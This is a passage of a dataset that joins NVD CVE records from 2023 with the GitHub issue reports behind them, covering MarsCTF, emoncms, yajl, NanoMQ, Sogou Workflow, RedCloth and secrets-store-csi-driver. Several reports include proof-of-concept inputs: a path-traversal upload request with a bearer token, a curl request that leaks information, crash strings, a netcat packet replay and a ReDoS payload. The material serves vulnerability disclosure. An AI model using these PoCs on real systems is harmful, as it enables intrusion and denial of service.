Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJMT0dJTl9LRVkiOiJkMTY4OGM5MC02OTE5LTQyMWQtYmNlNi0wNzBlNjJjZDFmMjYifQ.ATcpBgxvayuZGVlUgNCKS9daRzYHZvEhovz6yz607OA
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBqYTzzXHADWlZYul
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Origin: http://127.0.0.1:7991
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:7991/admin/challenge/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Mars-Token=eyJhbGciOiJIUzI1NiJ9.eyJMT0dJTl9LRVkiOiJkMTY4OGM5MC02OTE5LTQyMWQtYmNlNi0wNzBlNjJjZDFmMjYifQ.ATcpBgxvayuZGVlUgNCKS9daRzYHZvEhovz6yz607OA
Connection: close
------WebKitFormBoundaryBqYTzzXHADWlZYul
Content-Disposition: form-data; name="file"; filename="../../hackFile"
Content-Type: application/octet-stream
hackFile
------WebKitFormBoundaryBqYTzzXHADWlZYul--
```

### impact
Attackers can exploit this vulnerability to upload dynamic link libraries or write scheduled tasks to implement RCE.
| MarsCTF V1.2.1 has an arbitrary file upload vulnerability in the background | https://api.github.com/repos/b1ackc4t/MarsCTF/issues/10/comments | 1 | 2023-05-02T08:03:07Z | 2023-05-12T00:54:42Z | https://github.com/b1ackc4t/MarsCTF/issues/10 | 1,691,962,328 | 10 | 5,226 |
CVE-2023-33518 | 2023-06-05T15:15:09.247 | emoncms v11 and later was discovered to contain an information disclosure vulnerability which allows attackers to obtain the web directory path and other information leaked by the server via a crafted web request. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/emoncms/emoncms/issues/1856"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/emoncms/emoncms/issues/1856"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emoncms:emoncms:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "81F71DF9-41BE-4ED6-9426-CF408370CF07",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"668"
] | 668 | https://github.com/emoncms/emoncms/issues/1856 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"emoncms",
"emoncms"
] | ### Description
emoncms 11 and later version suffers from an information leakage vulnerability. An unauthorized attacker can obtain the web directory path and other information leaked by the server by constructing a special http request.
### Poc:
```
curl 'http{s}://{IP}:{PORT}/user/login.json' -X POST -i -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/plain, */*; q=0.01' -H 'X-Requested-With: XMLHttpRequest' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' -H 'Host: {IP}:{PORT}' -H 'Connection: Keep-alive' -d 'password%5B%5D=1&referrer=&rememberme=1&username=1'
```
### Screenshot
1.The environment I built myself
<img width="1273" alt="iShot_2023-05-09_01 15 45" src="https://user-images.githubusercontent.com/95691624/236888130-0472bac9-3e8d-485b-9e28-edf9de1f68fd.png">
2.Real Tests on the Internet
<img width="1273" alt="iShot_2023-05-09_01 03 08" src="https://user-images.githubusercontent.com/95691624/236888169-162c2a83-fbf8-4a02-b394-71fd4c3217ae.png">
| A bug leaked server web directory and other information | https://api.github.com/repos/emoncms/emoncms/issues/1856/comments | 3 | 2023-05-08T17:17:14Z | 2023-05-10T12:37:06Z | https://github.com/emoncms/emoncms/issues/1856 | 1,700,622,717 | 1,856 | 5,227 |
CVE-2023-33460 | 2023-06-06T12:15:09.447 | There's a memory leak in yajl 2.1.0 with use of yajl_tree_parse function. which will cause out-of-memory in server and cause crash. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/lloyd/yajl/issues/250"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00000.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00013.html"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00003.html"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IBUUHG27RM4ROEYKMVRROR27AX6R63MB/"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KLE3C4CECEJ4EUYI56KXI6OWACWXX7WN/"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YO32YDJ74DADC7CMJNLSLBVWN5EXGF5J/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/lloyd/yajl/issues/250"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00000.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00013.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/08/msg00003.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IBUUHG27RM4ROEYKMVRROR27AX6R63MB/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KLE3C4CECEJ4EUYI56KXI6OWACWXX7WN/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YO32YDJ74DADC7CMJNLSLBVWN5EXGF5J/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:yajl_project:yajl:2.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "EB398B7E-1564-42BF-B24D-D45D6D19128F",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*",
"matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"401"
] | 401 | https://github.com/lloyd/yajl/issues/250 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"lloyd",
"yajl"
] | there is memory leak in yajl_tree_parse function
reproduce step:
1. compile the yajl with asan cmake . -DCMAKE_C_COMPILER=gcc -fsanitize=address -g
2. example/parse_config.c
3. crash input: "{"@\\\\\n\\\\\\\\""
==1696156==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 24 byte(s) in 1 object(s) allocated from:
#0 0x7ffff767d867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x555555561953 in context_push ./yajl/src/yajl_tree.c:117
#2 0x555555563380 in handle_start_map ./yajl/src/yajl_tree.c:339
#3 0x55555556d903 in yajl_do_parse ./yajl/src/yajl_parser.c:269
#4 0x555555564f57 in yajl_parse ./yajl/src/yajl.c:130
#5 0x5555555639c5 in yajl_tree_parse ./yajl/src/yajl_tree.c:435
#6 0x555555560eeb in main parse_config.c:26
Indirect leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x7ffff767d867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x555555561424 in value_alloc ./yajl/src/yajl_tree.c:63
#2 0x55555556322f in handle_start_map ./yajl/src/yajl_tree.c:331
#3 0x55555556d903 in yajl_do_parse ./yajl/src/yajl_parser.c:269
#4 0x555555564f57 in yajl_parse ./yajl/src/yajl.c:130
#5 0x5555555639c5 in yajl_tree_parse ./yajl/src/yajl_tree.c:435
#6 0x555555560eeb in main parse_config.c:26
Indirect leak of 9 byte(s) in 1 object(s) allocated from:
#0 0x7ffff767d867 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x555555562907 in handle_string ./yajl/src/yajl_tree.c:280
#2 0x55555556f9a3 in yajl_do_parse ./yajl/src/yajl_parser.c:399
#3 0x555555564f57 in yajl_parse ./yajl/src/yajl.c:130
#4 0x5555555639c5 in yajl_tree_parse ./yajl/src/yajl_tree.c:435
#5 0x555555560eeb in main parse_config.c:26
SUMMARY: AddressSanitizer: 73 byte(s) leaked in 3 allocation(s).
this may casue crash and dos for which use our lib.
| memory leak in yajl_tree_parse function. | https://api.github.com/repos/lloyd/yajl/issues/250/comments | 14 | 2023-05-08T03:11:44Z | 2024-12-12T22:02:41Z | https://github.com/lloyd/yajl/issues/250 | 1,699,434,504 | 250 | 5,228 |
CVE-2023-33659 | 2023-06-06T12:15:09.503 | A heap buffer overflow vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function nmq_subinfo_decode() in the file mqtt_parser.c. An attacker could exploit this vulnerability to cause a denial of service attack. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1154"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/nanomq/NanoNNG/pull/509/commits/6815c4036a2344865da393803ecdb7af27d8bde1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/emqx/nanomq"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/emqx/nanomq/issues/1154"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/nanomq/NanoNNG/pull/509/commits/6815c4036a2344865da393803ecdb7af27d8bde1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:emqx:nanomq:0.17.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0898CABA-5930-437A-8300-4D91648091F1",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/emqx/nanomq/issues/1154 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"emqx",
"nanomq"
] | **Describe the bug**
We (School of Cyber Science and Technology, Shandong University) found that NanoMQ can cause buffer overflow when it processes malformed SUBSCRIBE messages.
This vulnerability is different from https://github.com/emqx/nanomq/issues/1153
**Expected behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information.
**Actual Behavior**
If Asan is enabled at compile time, the NanoMQ crashes and displays ASAN information, which can cause DOS.
**To Reproduce**
Similarly, we will send a vulnerability POC via email (jaylin@emqx.io) to help developers fix this vulnerability.

**Environment Details**
- NanoMQ version:master branch version commit #a72347c (As it is also the current HEAD version of [gitee](https://gitee.com/emqx/nanomq?_from=gitee_search) )
- Operating system and version:Ubuntu 20.04
- Compiler and language used:gcc 9.4.0 clang 10.0.0
- testing scenario
1. start nanomq with ./nanomq start
2. Send the packet:nc 127.0.0.1 1883 < ./poc2.raw
3. NanoMQ crashes
| heap-buffer-overflow2 in NanoMQ | https://api.github.com/repos/nanomq/nanomq/issues/1154/comments | 2 | 2023-04-12T09:21:09Z | 2023-04-19T06:43:53Z | https://github.com/nanomq/nanomq/issues/1154 | 1,664,179,606 | 1,154 | 5,229 |
CVE-2023-33457 | 2023-06-06T14:15:12.673 | In Sogou Workflow v0.10.6, memcpy a negtive size in URIParser::parse , may cause buffer-overflow and crash. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/sogou/workflow/issues/1272"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/sogou/workflow/issues/1272"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:sogou:c\\+\\+_workflow:0.10.6:*:*:*:*:*:*:*",
"matchCriteriaId": "58D0FAA0-E44D-441F-9BD4-E70ACD3E62A9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"120"
] | 120 | https://github.com/sogou/workflow/issues/1272 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"sogou",
"workflow"
] | 1、compile the program use asan with compile and link flag : "-fsanitize=address"
test.cc:
#include "workflow/WFTaskFactory.h"
#include "workflow/WFDnsClient.h"
#include <future>
int main(){
std::string url = "1://[";
auto *task = WFTaskFactory::create_dns_task(url, 0, NULL);
}
compile the test.cc with the workflow lib and run:
g++ -fsanitize=address -g ./test.cc -I ../_include/ ../_lib/libworkflow.a -o testrun ../../openssl-3.07/libssl.a ../../openssl-3.07/libcrypto.a
Aasn find crash:
==1736885==ERROR: AddressSanitizer: negative-size-param: (size=-1)
#0 0x7ff0611ba3ff in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x55fd6300dd49 in URIParser::parse(char const*, ParsedURI&) /opt1/software/toyMan/testcve/workflow/src/util/URIParser.cc:404
#2 0x55fd62fe74c0 in URIParser::parse(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, ParsedURI&) (/opt1/software/toyMan/testcve/workflow/test/testcloud+0x1ba4c0)
#3 0x55fd62fe6c87 in WFTaskFactory::create_dns_task(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, int, std::function<void (WFNetworkTask<protocol::DnsRequest, protocol::DnsResponse>*)>) /opt1/software/toyMan/testcve/workflow/src/factory/DnsTaskImpl.cc:159
#4 0x55fd62fdb528 in easyloop test.cc:18
crashcase:
"1://[" and other string end with '['!!
the vuln is in URIParser::parse. this function missing check for len in line 404. when '[' in URI, there will calculates a negative value for len (-1). and may cause a Dos in crash when memcpy huge memory、code execution and information disclosure. | Vuln: memcpy a negtive size in URIParser::parse | https://api.github.com/repos/sogou/workflow/issues/1272/comments | 3 | 2023-05-05T06:10:49Z | 2023-05-05T15:21:50Z | https://github.com/sogou/workflow/issues/1272 | 1,697,065,228 | 1,272 | 5,230 |
CVE-2023-31606 | 2023-06-06T17:15:14.843 | A Regular Expression Denial of Service (ReDoS) issue was discovered in the sanitize_html function of redcloth gem v4.0.0. This vulnerability allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/e23e/CVE-2023-31606#readme"
},
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/jgarber/redcloth"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jgarber/redcloth/issues/73"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00002.html"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://security.gentoo.org/glsa/202401-14"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/e23e/CVE-2023-31606#readme"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/jgarber/redcloth"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jgarber/redcloth/issues/73"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00002.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://security.gentoo.org/glsa/202401-14"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:promptworks:redcloth:*:*:*:*:*:ruby:*:*",
"matchCriteriaId": "86D9E3AB-BACA-428A-83B9-9EF75B28878D",
"versionEndExcluding": null,
"versionEndIncluding": "4.3.2",
"versionStartExcluding": null,
"versionStartIncluding": "4.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"1333"
] | 1333 | https://github.com/jgarber/redcloth/issues/73 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"jgarber",
"redcloth"
] | There is a security vulnerability in this gem. I tried to communicate with the maintainers in an email, but still haven't got a response, I'm raising the issue here.
**Vulnerable Code:**
https://github.com/jgarber/redcloth/blob/v4.3.2/lib/redcloth/formatters/html.rb#L327

The above code has */<(\/*)([A-Za-z]\w*)([^>]*?)(\s?\/?)>/* regex and it matches user-provided input with the regex pattern, the above regex is vulnerable to ReDOS

* Run the test.rb (provided below) with the `time ruby test.rb` command and observe the time and CPU taken to process it
* RedCloth.new(text, [:sanitize_html]).to_html function will trigger the same function, so run the below code and observe the processing time
```
require 'RedCloth'
text = '<A' + 'A' * (54773)
text = RedCloth.new(text, [:sanitize_html]).to_html
```
**Test Output:**

Fix:
* Rebuild the regex used as not vulnerable to ReDOS
* You can use [Recheck](https://makenowjust-labs.github.io/recheck/playground/) to check if a regex is vulnerable to ReDOS | ReDOS possible in the sanitize_html function | https://api.github.com/repos/jgarber/redcloth/issues/73/comments | 13 | 2023-04-12T17:14:02Z | 2023-11-03T01:52:26Z | https://github.com/jgarber/redcloth/issues/73 | 1,664,939,145 | 73 | 5,231 |
CVE-2023-2878 | 2023-06-07T15:15:09.377 | Kubernetes secrets-store-csi-driver in versions before 1.3.3 discloses service account tokens in logs. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 2,
"impactScore": 4,
"source": "jordan@liggitt.net",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "jordan@liggitt.net",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/kubernetes/kubernetes/issues/118419"
},
{
"source": "jordan@liggitt.net",
"tags": [
"Mailing List"
],
"url": "https://groups.google.com/g/kubernetes-security-announce/c/5K8ghQHBDdQ/m/Udee6YUgAAAJ"
},
{
"source": "jordan@liggitt.net",
"tags": [
"Third Party Advisory"
],
"url": "https://security.netapp.com/advisory/ntap-20230814-0003/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/kubernetes/kubernetes/issues/118419"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List"
],
"url": "https://groups.google.com/g/kubernetes-security-announce/c/5K8ghQHBDdQ/m/Udee6YUgAAAJ"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://security.netapp.com/advisory/ntap-20230814-0003/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:kubernetes:secrets-store-csi-driver:*:*:*:*:*:*:*:*",
"matchCriteriaId": "FE39B6E7-61B5-482B-953C-BA5441CD85C7",
"versionEndExcluding": "1.3.3",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"532"
] | 532 | https://github.com/kubernetes/kubernetes/issues/118419 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"kubernetes",
"kubernetes"
] | A security issue was discovered in [secrets-store-csi-driver](https://github.com/kubernetes-sigs/secrets-store-csi-driver) where an actor with access to the driver logs could observe service account tokens. These tokens could then potentially be exchanged with external cloud providers to access secrets stored in cloud vault solutions. Tokens are only logged when [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag.
This issue has been rated **MEDIUM** [CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) (6.5), and assigned **CVE-2023-2878**
**Am I vulnerable?**
You may be vulnerable if [TokenRequests is configured in the CSIDriver object](https://kubernetes-csi.github.io/docs/token-requests.html) and the driver is set to run at log level 2 or greater via the -v flag.
To check if token requests are configured, run the following command:
```shell
kubectl get csidriver secrets-store.csi.k8s.io -o jsonpath="{.spec.tokenRequests}"
```
To check if tokens are being logged, examine the secrets-store container log:
```shell
kubectl logs -l app=secrets-store-csi-driver -c secrets-store -f | grep --line-buffered "csi.storage.k8s.io/serviceAccount.tokens"
```
**Affected Versions**
- secrets-store-csi-driver < 1.3.3
**How do I mitigate this vulnerability?**
